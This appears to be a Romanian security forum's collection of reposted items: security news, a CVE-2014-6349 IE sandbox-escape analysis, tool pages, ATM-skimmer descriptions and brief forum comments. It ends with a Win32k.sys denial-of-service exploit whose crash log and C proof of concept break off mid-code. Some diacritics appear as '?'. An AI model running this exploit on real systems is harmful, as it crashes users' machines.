[h=2]Facebook Partners With ESET to Fight Malware[/h]By Brian Prince on December 03, 2014 Facebook is teaming with security vendor ESET to improve defenses against malware. The move follows a partnership Facebook announced in May involving F-Secure and Trend Micro. "[F-Secure and Trend Micro] built free versions of their products directly into Facebook so that people could get the help they need without additional hassle," blogged Chetan Gowda, a software engineer on the Site Integrity team at Facebook. "Today, we are expanding those capabilities by adding the anti-malware technology of another IT security vendor, ESET," he wrote. "A larger number of providers increases the chances that malware will get caught and cleaned up, which will help people on Facebook keep their information more secure." According to Facebook, if the device a user is using to access its services is behaving suspiciously and shows signs of a possible malware infection, a message will appear offering the user an anti-malware scan for their device. The user can run the scan, see the results and disable the software without logging out of Facebook. "Glancing through headlines in recent months reveals that malware continues to be a persistent problem for governments, companies, and individuals," Gowda noted. "With the potential to remain undetected on devices for months, malicious code can collect personal information and even spread to other computers in some cases. Compounding the challenges for defense, most people lack basic anti-malware programs that could protect their devices or clean up infections more quickly. "We've worked with ESET to incorporate their finely tuned security software directly into our existing abuse detection and prevention systems, similarly to what we did earlier this year with the other providers," Gowda continued. "Together, these three systems will help us block malicious links and harmful sites from populating the News Feeds and Messages of the 1.35 billion people who use Facebook." Sursa: Facebook Partners With ESET to Fight Malware | SecurityWeek.Com

HackRF Blue: A Lower Cost HackRF Earlier in the year the HackRF One was released by Micheal Ossmann. It is a transmit and receive capable software defined radio with a 10 MHz to 6 GHz range which currently sells for around $300 USD. Since the HackRF is open source hardware, anyone can make changes to the design and build and sell their own version. The HackRF Blue is a HackRF clone that aims to sell at a lower cost. By sourcing lower cost parts that still work well in the HackRF circuit, the team behind the HackRF Blue were able to reduce the price of the HackRF down to $200 USD. They claim that the HackRF Blue has the same performance as the HackRF One and is fully compatible with the HackRF software. They are currently seeking funding through an IndieGoGo campaign. Their main goal through the funding is to help provide underprivileged hackerspaces with a free HackRF. The HackRF Blue https://www.youtube.com/watch?feature=player_embedded&v=giSax3XBbJ4 Sursa: HackRF Blue: A Lower Cost HackRF - rtl-sdr.com

Escaping the Internet Explorer Sandbox: Analyzing CVE-2014-6349 8:00 pm (UTC-7) | by Jack Tang (Threats Analyst) Applications that have been frequently targeted by exploits frequently add sandboxes to their features in order to harden their defenses against these attacks. To carry out a successful exploit, an attacker will have to breach these sandboxes to run malicious code. As a result, researchers will pay particular attention to exploits that are able to escape sandboxes. In both October and November Patch Tuesday cycles, Microsoft addressed several vulnerabilities that were used by attackers to escape the Internet Explorer sandbox. One of these was CVE-2014-6349, which was addressed by Microsoft as part of MS14-065, November’s cumulative Internet Explorer patch. We chose this particular vulnerability for two reasons: exploiting it is relatively easy, and its methodology – using shared memory to escape the Internet Explorer sandbox – has not been seen before. A separate vulnerability that also allowed for sandbox escapes – CVE-2014-6350 – was also fixed in the same patch, and Google released details about this second vulnerability earlier this week. Internet Explorer 11 exposes a shared memory section object to all tab process (which are sandboxed). This is used to store various Internet Explorer settings. Normally, the tab processes only read this to see these settings. However, in Enhanced Protected Mode (EPM, which is IE’s sandbox mode), the shared memory section‘s DACL (Discretionary Access Control List) is not configured correctly. The tab processes have “write” permission to modify the shared memory section content. This can be used by an attacker to break the IE sandbox. How can this be done? We will explain this in the rest of this post. To understand the concepts covered in this post, background knowledge about Protected Mode (PM) and EPM is necessary. These MSDN documents and HITB presentations provide background information on these topics. I carried out my tests on a system running Windows 8.1 with Internet Explorer 11.0.9600.17107. After enable IE 11’s EPM mode, we run IE. The broker process and tab process are seen below: Figure 1. Internet Explorer broker and tab processes The parent iexplore.exe broker process’s integrity is Medium. The iexplore.exe tab process’s integrity is AppContainer. This means the web page rendering in the sandboxed tab process is in the sandbox and its privilege is controlled. Both process share a memory section: \Sessions\1\BaseNamedObjects\ie_ias_<frame process id>-0000-0000-0000-000000000000. The section object’s DACL (Discretionary Access Control List) status is below: Figure 2. Access Control List for shared memory The ACE (Access Control Entry) for SID S-1-15-3-4096 is encircled. This shows that this particular “user” can modify the shared memory. What is S-1-15-3-4096? It is a “capability” whose name is “internetExplorer”. This particular concept was introduced in Windows 8 with AppContainer (please refer to the HITB presentation). Now, let us check the sandboxed tab process’s security tokens: Figure 3. List of sandboxed tab process security tokens The above shows us that the sandbox tabs can modify the memory of the shared memory section. Because of the shared memory section’s role, the sandbox can be escaped. Before we look into why, we can examine the previous protections that were used by Internet Explorer. Figure 4. Architecture of Internet Explorer Internet Explorer 8 introduced the Loosely-coupled Internet Explorer (LCIE) architecture to improve the browser’s reliability. In IE11 EPM mode, the broker process is running with middle integrity and the tab processes are running in AppContainer (i.e., each is sandboxed). The broker process manages the children tab processes, with each invidual tab process rendering various oben web pages. In Figure 4, CBrowserFrame within the broker process receives and dispatches messages to process the procedure CBrowserFrame:: FrameMessagePump(). CTabWindow represents tab windows, which each CTabWindow instance corresponding to a sandboxed tab process. The CTabWindowManger manages existing CTabWindow instances, for example, creating a new instance or finding an existing instance. The shared memory contains the immutable application state (IAS), which is queried by the parent broker process and the sandboxed processes. The shared memory’s address was hold by a global variable whose full name is g_pvImmutableApplicationStateMappingBaseAddress. For convenience , we can call this shared memory as shared IAS memory. This memory is created when the broker process starts. Below is the call stack: Figure 5. Call stack After CreateFileMapping is called, the access control information for this section object will be set. Figure 6. Setting the access control information The vulnerability exists in the circled code. The SetWindowsHandleAccess function’s parameter is not set correctly, which leads to the shared memory section object’s ACE for the internetExplorer capability to have the modify permission. Why can the attacker escape from the IE sandbox by modified shared IAS memory? Let us examine the contents of this memory space. It is 0x25C in size, and the table below lists its contents. Table 1. Contents of shared memory space We can guess that if an attacker can modify the relevant byte(s) from a sandboxed process, it will control parent broker process’s behavior. For example, let us try the offset 0x2C. Its value is normally 1. We set it to zero from a sandboxed tab process. Normally, when a new tab is created, this is what is seen. A new process is created for the new tab. Figure 7. Normal setup – separate processes per tab If the boolean value at 0x2C is set to zero, a process for a new tab window is not created, as seen below: Figure 8. No separate processes per tab Two tabs only have one process. Checking the new tab’s properties, we find: Figure 9. Protected Mode turned off The page is not in sandbox mode (EPM mode). We know that 0x2C is a flag that determines whether a new process is created for a new tab, but how does this lead to a sandbox escape? When the user clicks the “New Tab” button in the IE UI, the broker process’s CBrowserFrame:: FrameMessagePump() function will get the message, and will dispatch the corresponding window’s procedure to handle the message. Finally, it will call CTabWindowManager to create a CTabWindow instance, and will then query the shared IAS memory at 0x2c to decide whether to create new process for the tab window or create a new thread instead. If this value is 1, a new process is created. If it is 0, the broker process only creates a new thread for the new tab. However, in this case, the new tab renders in the parent broker process’s instance. We can see that the behavior of the parent broker process was modified by the sandboxed process – hence, the sandbox has been breached using this method. Any breach of a sandbox is dangerous and may be exploited in more dangerous attacks. This vulnerability was fixed by Microsoft by correcting the ACE of the internetExplorer capability for the shared IAS memory. Figure 10. Corrected ACE This can be seen in the code below. Figure 11. Modified code Sursa: Escaping the Internet Explorer Sandbox - Analyzing CVE-2014-6349 | Security Intelligence Blog | Trend Micro

Toorcon 16 - Reverse Engineering Malware For Newbies Description: http://gironsec.com/code/Re_For_Nubs.tgz For More Information please visit: - ToorCon | Information Security Conferences Via: Toorcon 16 - Reverse Engineering Malware For Newbies

Duktape Duktape is an embeddable Javascript engine, with a focus on portability and compact footprint. Duktape is easy to integrate into a C/C++ project: add duktape.c and duktape.h to your build, and use the Duktape API to call Ecmascript functions from C code and vice versa. Main features: Embeddable, portable, compact; about 210kB code, 80kB memory, 40kLoC source (excluding comments etc) Ecmascript E5/E5.1 compliant, some features borrowed from E6 draft Built-in regular expression engine Built-in Unicode support Minimal platform dependencies Combined reference counting and mark-and-sweep garbage collection with finalization Custom features like coroutines, built-in logging framework, and built-in CommonJS-based module loading framework Property virtualization using a subset of Ecmascript E6 Proxy object Liberal license (MIT) Current status: Stable Support: User community Q&A: Stack Overflow duktape tag Bugs and feature requests: GitHub issues General discussion: IRC #duktape on chat.freenode.net (webchat) Sursa: Duktape

Bre, nu va mai faceti publice adresele de mail...

[h=1]american fuzzy lop (0.85b)[/h] American fuzzy lop is a security-oriented fuzzer that employs a novel type of compile-time instrumentation and genetic algorithms to automatically discover clean, interesting test cases that trigger new internal states in the targeted binary. This substantially improves the functional coverage for the fuzzed code. The compact synthesized corpora produced by the tool are also useful for seeding other, more labor- or resource-intensive testing regimes down the road. Compared to other instrumented fuzzers, afl-fuzz is designed to be practical: it has modest performance overhead, uses a variety of highly effective fuzzing strategies, requires essentially no configuration, and seamlessly handles complex, real-world use cases - say, common image parsing or file compression libraries. [h=2]The "sales pitch"[/h] In a hurry? There are several fairly decent reasons to give afl-fuzz a try: It is pretty sophisticated. It's an instrumentation-guided genetic fuzzer capable of synthesizing complex file semantics in a wide range of non-trivial targets, lessening the need for purpose-built, syntax-aware tools. It also comes with a unique crash explorer to make it dead simple to evaluate the impact of crashing bugs. It has street smarts. It is built around a range of carefully researched, high-gain test case preprocessing and fuzzing strategies rarely employed with comparable rigor in other fuzzing frameworks. As a result, it finds real bugs. It is fast. Thanks to its low-level compile-time instrumentation and other optimizations, the tool offers near-native fuzzing speeds against common real-world targets. For example, you can get 2,500+ execs per second per core with libpng. It's rock solid. Compared to other instrumentation- or solver-based fuzzers, it has remarkably few failure modes. It also comes with robust, user-friendly problem detection that guides you through any potential hiccups. No tinkering required. In contrast to most other fuzzers, the tool requires essentially no guesswork or fine-tuning. Even if you wanted to, you will find virtually no knobs to fiddle with and no "fuzzing ratios" to dial in. It's chainable to other tools. The fuzzer generates superior, compact test corpora that can serve as a seed for more specialized, slower, or labor-intensive processes and testing frameworks. It sports a hip, retro-style UI. Just scroll back to the top of the page. Enough said. Want to try it out? Check out the documentation or grab the source code right away. [h=2]The bug-o-rama trophy case[/h] The fuzzer is still under active development, and I have not been running it very systematically or at a scale. Still, based on user reports, it seems to have netted quite a few notable vulnerabilities and other uniquely interesting bugs. Some of the "trophies" that I am aware of include: [TABLE] [TR] [TD]IJG jpeg 1 [/TD] [TD]libjpeg-turbo 1 2 [/TD] [TD]Mozilla Firefox 1 2 3 4 [/TD] [/TR] [TR] [TD]Google Chrome 1 [/TD] [TD]Internet Explorer 1 2 [/TD] [TD]bash (post-Shellshock) 1 2 [/TD] [/TR] [TR] [TD]GnuTLS 1 [/TD] [TD]GnuPG 1 2 [/TD] [TD]OpenSSH 1 2 3 [/TD] [/TR] [TR] [TD]FLAC audio library 1 [/TD] [TD]tcpdump 1 2 3 4 5 6 [/TD] [TD]dpkg 1 [/TD] [/TR] [TR] [TD]systemd-resolved 1 2 [/TD] [TD]strings (+ related tools) 1 2 3 4 5 6 7 [/TD] [TD]less / lesspipe 1 2 3 [/TD] [/TR] [TR] [TD]rcs 1 [/TD] [TD]OpenBSD pfctl 1 [/TD] [TD]man & mandoc 1 [/TD] [/TR] [TR] [TD]libyaml 1 [/TD] [TD]Info-Zip unzip 1 [/TD] [TD]procmail 1 [/TD] [/TR] [TR] [TD]libsndfile 1 2 3 [/TD] [TD]fwknop[/TD] [TD]mutt 1 [/TD] [/TR] [/TABLE] Plus, probably, quite a few other things that weren't attributed to the tool and that I have no way of knowing about. [h=2]Download & other useful links[/h] Here's a collection of useful links related to afl-fuzz: Current and past releases of the tool (changes), Online copy of the README file, Description of the status screen, Generated test cases for common image formats, Notes on the inspiration and design goals for afl-fuzz. The tool is confirmed to work on x86 Linux, OpenBSD, FreeBSD, and NetBSD, both 32- and 64-bit. It should also work on MacOS X and Solaris, although with some constraints. It supports programs written in C, C++, or Objective C, compiled with either gcc or clang. Java programs compiled with GCJ can be supported with very little effort. If you are honestly interested, ping me and I'll help you set it up. For fuzzing Python, you may want to check out this module from Jakub Wilk. To send bug reports, feature requests, or chocolate, simply drop a mail to lcamtuf@coredump.cx. Sursa: american fuzzy lop

[h=1]Google Reinvents the CAPTCHA[/h] [h=4]Tara Seals US/North America News Reporter, Infosecurity Magazine[/h] Email Tara We’re all familiar with reCAPTCHAs: those scrambled letter ciphers that users are asked to key in, in order to protect websites from spam and abuse by robots. For years, web surfers have been asked to read distorted text and type it into a box—leading to a safer web, but a more frustrated user populace. Sometimes, not even live humans can get the CAPTCHAs right. Google aims to change all of that—by reinventing the CAPTCHA experience. “We figured it would be easier to just directly ask our users whether or not they are robots—so, we did!” said Vinay Shet, Google’s product manager for reCAPTCHA, in a blog. “We’ve begun rolling out a new API that radically simplifies the reCAPTCHA experience. We’re calling it the ‘No CAPTCHA reCAPTCHA.’” Now, users are asked to simply check a box that asks, “Are you sure you’re not a robot?” From there, in some cases, a CAPTCHA to solve will be presented. But not always. While the user experience will be better, there’s another reason for the change: Today’s artificial intelligence technology can solve even the most difficult variant of distorted text, at 99.8% accuracy. “Thus distorted text, on its own, is no longer a dependable test,” Shet said. To counter this, Google has developed an advanced risk analysis back-end for reCAPTCHA that actively considers a user’s entire engagement with the CAPTCHA—before, during, and after—to determine whether that user is a human. “This enables us to rely less on typing distorted text and, in turn, offer a better experience for users,” Shet said. And, “while the new reCAPTCHA API may sound simple, there is a high degree of sophistication behind that modest checkbox.” In cases when the risk analysis engine can't confidently predict whether a user is a human or an abusive agent, it will prompt a CAPTCHA to elicit more cues, increasing the number of security checkpoints to confirm the user is valid. Google has also worked on the mobile aspect of CAPTCHAs—after all, typing in a code on a smaller screen offers plenty of room for mis-typing and customer dissatisfaction. So, in one example, a website visitor may be asked to tap, say, all of the pictures of turkeys within a screen of animal tiles. “This new API…lets us experiment with new types of challenges that are easier for us humans to use, particularly on mobile devices,” Shet said. Websites are already adopting these methods, including early adopters like Snapchat, WordPress, Humble Bundle and others. “For example, in the last week, more than 60% of WordPress’ traffic and more than 80% of Humble Bundle’s traffic on reCAPTCHA encountered the No CAPTCHA experience—users got to these sites faster,” Shet said. “Humans, we'll continue our work to keep the Internet safe and easy to use. Abusive bots and scripts, it’ll only get worse—sorry we’re (still) not sorry.” Sursa: Google Reinvents the CAPTCHA - Infosecurity Magazine

[h=1]?i ho?ii ?in pasul cu tehnologia: a?a arat? noile Skimmere "invizibile" folosite la clonarea cardurilor de credit[/h] Aurelian Mihai - 3 dec 2014 Dispozitivele aplicate pe bancomate cu scopul a clona cardurile de credit au atins un nivel impresionant de miniaturizare, devenind practic invizibile pentru persoane neavizate. F?r? componente la vedere, noile Skimmere ATM prezint? un risc real la adresa bancomatelor amplasate în spa?ii publice. Deghizate ingenios pentru a atrage cât mai pu?in aten?ia în timpul cât sunt ata?ate de bancomat, dispozitivele de tip Skimmer folosite de infractori pentru clonarea cardurilor bancare se afl? într-o continu? evolu?ie. Recent descoperit la un bancomat din Europa, un nou tip de Skimmer ATM realizat folosind metoda “wiretapping” pare s? fi g?sit camuflajul perfect, dispozitivul fiind instalat practic în interiorul ATM-ului, ac?ionând f?r? a da nimic de b?nuit. Skimmer realizat prin metoda ?wiretapping? Procedeul de instalare presupune aplicarea unei g?uri pe carcasa ATM-ului, chiar în dreptul fantei pentru card. Mai departe, infractorii conecteaz? un dispozitiv de înregistrare miniatural direct la cititorul de card-uri al ATM-ului folosind unelte ?i echipament personalizat. Pentru a nu da de b?nuit, gaura este deghizat? folosind un ab?ibild imitând instruc?iunile de utilizare a bancomatului. Skimmer-ul instalat chiar în interiorul ATM-ului înregistreaz? datele card-urilor în mod autonom. Pentru colectarea datelor recoltate ho?ii nu trebuie decât s? dezlipeasc? ab?ibild-ul ?i s? conecteze firul r?mas la vedere unui dispozitiv de stocare extern. Pân? la alertarea autorit??ilor, procedeul de recoltare a datelor poate fi repetat ori de câte ori este nevoie. Skimmer proiectat pentru a fi strecurat direct în slot-ul pentru acceptare a card-ului O alt? inova?ie în domeniul Skimmerelor ATM este un dispozitiv de forma unei pl?cu?e din o?el, con?inând toate componentele electronice necesare ?i un acumulator suficient pentru pân? la 2 s?pt?mâni de activitate. Proiectat pentru a fi strecurat direct în slot-ul pentru acceptare a card-ului, ?i acesta este complet invizibil pentru utilizatorii aparatului. Diferen?a este c? în loc de cablu, datele colectate sunt trimise prin conexiune wireless unui smartphone aflat în buzunarul infractorului prezentat în fa?a bancomatului ca ?i vizitator. Pentru ca datele colectate de pe card-urile de credit s? poat? fi utilizate este necesar? ?i interceptarea cod-ului pin, folosind o camer? video miniatural? deghizat? într-un panou ata?at în dreptul tastaturii. Sursa: ?i ho?ii ?in pasul cu tehnologia: a?a arat? noile Skimmere "invizibile" folosite la clonarea cardurilor de credit

[h=1]Limitations of Automated Web Application Vulnerability Scanners[/h] [h=2]Introduction[/h] Many security specialists rely solely on Web Application Vulnerability Scanners for security testing. Depending only on automated vulnerability scanners will lead to a false sense of security because it leaves out many tests that can only be run manually. In this article we will give you a better understanding of the capabilities and limitations of automated vulnerability scanners so you can make educated decisions when conducting web application security assessments. [h=2]What is a web application vulnerability scanner?[/h] Web application vulnerability scanners are the automated tools that scan web applications to look for signatures of known security vulnerabilities such as cross-site scripting, SQL injection and others. There are several commercial and free vulnerability scanners available on the market, here is the list of the most popular tools: AppScan (IBM) Burp Suite (PortSwiger) Nessus (Tenable Network Security) NeXpose (Rapid 7) WebInspect (HP) Websecurify Suite (Websecurify) Zed Attack Proxy (OWASP). Some of the scanners require nothing except the link to the target websites, while others need some configuration before you run them. Most of them have advanced configuration options where the user can fine-tune the scanner (disable unneeded modules, setup the maximum number of threads, configure test and risk levels, etc.) before running the test. [h=2]What do vulnerability scanners can identify?[/h] Despite the difference in configuration the automated web app scanners mentioned above and others on the market can detect the following: Some SQL Injections using common techniques like causing database errors (i.e.: by sending a single quote), a time delay (by injecting the “sleep()” function in the query on MySQL server or “waitfor delay” on MS SQL server) Most of the reflected Cross-site scripting (XSS) vulnerabilities – where malicious JavaScript code can be injected in the request and is returned in the response Some of the stored XSS vulnerabilities – where malicious JavaScript is stored on the sever and is displayed every time somebody (can be the attacker or an unsuspecting user) is requesting a specific page Very few DOM-based XSS vulnerabilities – where user-controllable data is used by client-side JavaScript Path traversal vulnerabilities – arbitrary read of the files on the vulnerable web server (/etc/passwd or win.ini are usually used for this test) File inclusion vulnerabilities – arbitrary file from the Internet can be included in the response (i.e. random text file from attacker controllable server) Command injection vulnerabilities by injecting a command which will delay the response (i.e.: ping localhost 20 times) or return specific output in the response (i.e. ipconfig) Hidden pages and files Directory listing Webserver vulnerabilities Other vulnerabilities like cleartext password submission, session tokens in URL, password field autocomplete, SSL cookie without secure flag, frameable responses which can be determined by analyzing the requests and responses of the web application [h=2]What can go wrong?[/h] In some cases the web application vulnerability scanners may fail to detect some of the vulnerabilities mentioned above or may not work properly. Below is the list of the top reasons why automated vulnerability scanners might not work: Custom-built authentication mechanism – when a web application uses proprietary approaches to authenticate the users (multi-step authentication, non-standard session management, etc) sometimes the scanner my fail to login and only scan unauthenticated parts of the web application Web applications with heavy use of AJAX – many of the web scanners spiders do not handle dynamic AJAX content properly Web sites with a lot of content or with a high number of dynamically generated pages – sites like Amazon, Facebook, eBay and YouTube where there are thousands of similar pages with different content, new pages are generated because of the user actions (including vulnerability scanner generating new pages while doing the scan) or when each requests receives a unique response URL [h=2]What do vulnerability scanners are not able to do?[/h] In addition to the limitations mentioned above the scanners are not smart enough to test for specific vulnerabilities in the application logic. Web application vulnerability scanners are not able to test for: Authentication vulnerabilities such as username enumeration, resilience to password guessing, any account recovery functions, credentials predictability or any other logic flaws in the authentication Session management flaws like meaningful or predictable tokens, session fixation, mapping tokens to session, session hijacking etc. Vulnerabilities in access controls where a user can access others’ user data or admin functionality without having admin privileges assigned Application logic flaws such as ordering negative number of items, skipping a stage in multi-stage processes (i.e. going straight to shipping page skipping the payment page) etc. Shared hosting vulnerabilities – test segregation in shared infrastructure or between ASP-hosted applications Leakage of sensitive information such as password hashes in the hidden fields or user logs [h=2]Where are vulnerability scanners in the web applications testing methodology?[/h] Here is a typical web application testing methodology with highlighted stages which can be partially automated with vulnerability scanners1: [h=2]Know your tools[/h] To summarize, automated web application scanners are essential tools for any vulnerability assessment or penetration tests but you should know their capabilities and limitations. However, a qualified penetration tester is still required to know how interpret the results, perform advanced manual testing and understand the risks to the organization. For information on how vulnerability assessments and penetration testing fits into an overall security testing program read Seven Tips for Increasing your Web Application Security . Resources: Source: The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws By Arsenii Pustovit – Information Security Analyst @ Eosensa Sursa: Limitations of Automated Web Application Vulnerability Scanners | Eosensa

Bre, toate informatiile sunt publice. Ca si acest topic. Singurele informatii private sunt adresele IP ( dar... stiti voi ) si mesajele private pe care fiecare le poate sterge. In rest, oricine poate sa vada ca eu zic acum "Muie Garda".

Mai ales cand Paypal PLATESTE pentru asa ceva. E ceva necurat la mijloc. Cineva are ceva cu el...

[h=1]Microsoft Windows Win32k.sys - Denial of Service[/h] # Exploit Title: Microsoft Windows Win32k.sys Denial of Service # Date: 20-11-2014 # Exploit Author: Kedamsky (kedamsky@mail.ru) # Vendor Homepage: http://microsoft.com # Software Link: http://www.microsoft.com/en-us/download/windows.aspx # Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64) # Tested on: [XP to 8.1 x86/x64] Microsoft Windows win32k.sys DoS exploit by Kedamsky mailto:kedamsky@mail.ru ========================= Vulnerability Description ========================= The vulnerability exists in the function win32k!xxxMenuWindowProc. It calls the function win32k!xxxMNOpenHierarchy that can return valid pointer to data and 0 or -1 otherwise. The function win32k!xxxMenuWindowProc does not validate the result of win32k!xxxMNOpenHierarchy properly and it is possible to try to read data from address -1. =============== Vulnerable code =============== 8f584e72 85c0 test eax,eax 8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371) 8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1 ... 8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260) 8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72) ================ Typical bugcheck ================ ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffffffff FAULTING_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] MM_INTERNAL_CODE: 0 IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60 MODULE_NAME: win32k FAULTING_MODULE: 8f480000 win32k DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: DOS3_1E3.exe CURRENT_IRQL: 2 TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64) ErrCode = 00000000 eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270 eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 win32k!xxxMenuWindowProc+0xa09: 8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=???????? Resetting default scope LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98 STACK_TEXT: 9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction 9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c 9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d 9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a 9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc 9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09 9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4 9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c 9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27 9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6 9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a 0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet 0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc 0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5 0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c 0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22 0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100 0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21 0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24 0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e 0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc 0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68 0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23 0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b 0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7 0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c 0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41 0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7 0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910 0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c 0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23 0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b 0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322 0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf 0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d 0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238] 0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe 0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23 0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: win32k!xxxMenuWindowProc+a09 8f584e7a 8b00 mov eax,dword ptr [eax] SYMBOL_STACK_INDEX: 5 SYMBOL_NAME: win32k!xxxMenuWindowProc+a09 FOLLOWUP_NAME: MachineOwner FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09 Followup: MachineOwner --------- ================ Proof of Concept ================ //#include "stdafx.h" #include <windows.h> #define BSOD_BUTTON 0x9876 HMENU hMenu[3]; ULONG MenuLevel = 0; HWND hTargetMenuWnd = 0; void KeyEvent() { INPUT input; memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); SendInput(1, &input, sizeof(input)); Sleep(50); memset(&input, 0, sizeof(input)); input.type = INPUT_KEYBOARD; input.ki.wVk = VkKeyScanA('1'); input.ki.dwFlags = KEYEVENTF_KEYUP; SendInput(1, &input, sizeof(input)); } LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL) { return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0); } return 0; } VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hWnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) { ++MenuLevel; if (MenuLevel == 1) { KeyEvent(); } else if (MenuLevel == 2) { SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); hTargetMenuWnd = hWnd; SendMessage(hTargetMenuWnd, 0x1F2, 0, 0); } } LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_COMMAND: if (LOWORD(wParam) == BSOD_BUTTON) { SetWinEventHook( EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), WinEventProc, GetCurrentProcessId(), GetCurrentThreadId(), WINEVENT_OUTOFCONTEXT); TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL); } case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProcA(hWnd, message, wParam, lParam); } return 0; } int APIENTRY WinMain( _In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ int nCmdShow) { WNDCLASSA Class; Class.style = 0; Class.lpfnWndProc = WndProc; Class.cbClsExtra = 0; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.hIcon = NULL; Class.hCursor = LoadCursor(0, IDC_ARROW); Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); Class.lpszMenuName = NULL; Class.lpszClassName = "MyWinClass"; if (RegisterClassA(&Class) != NULL) { 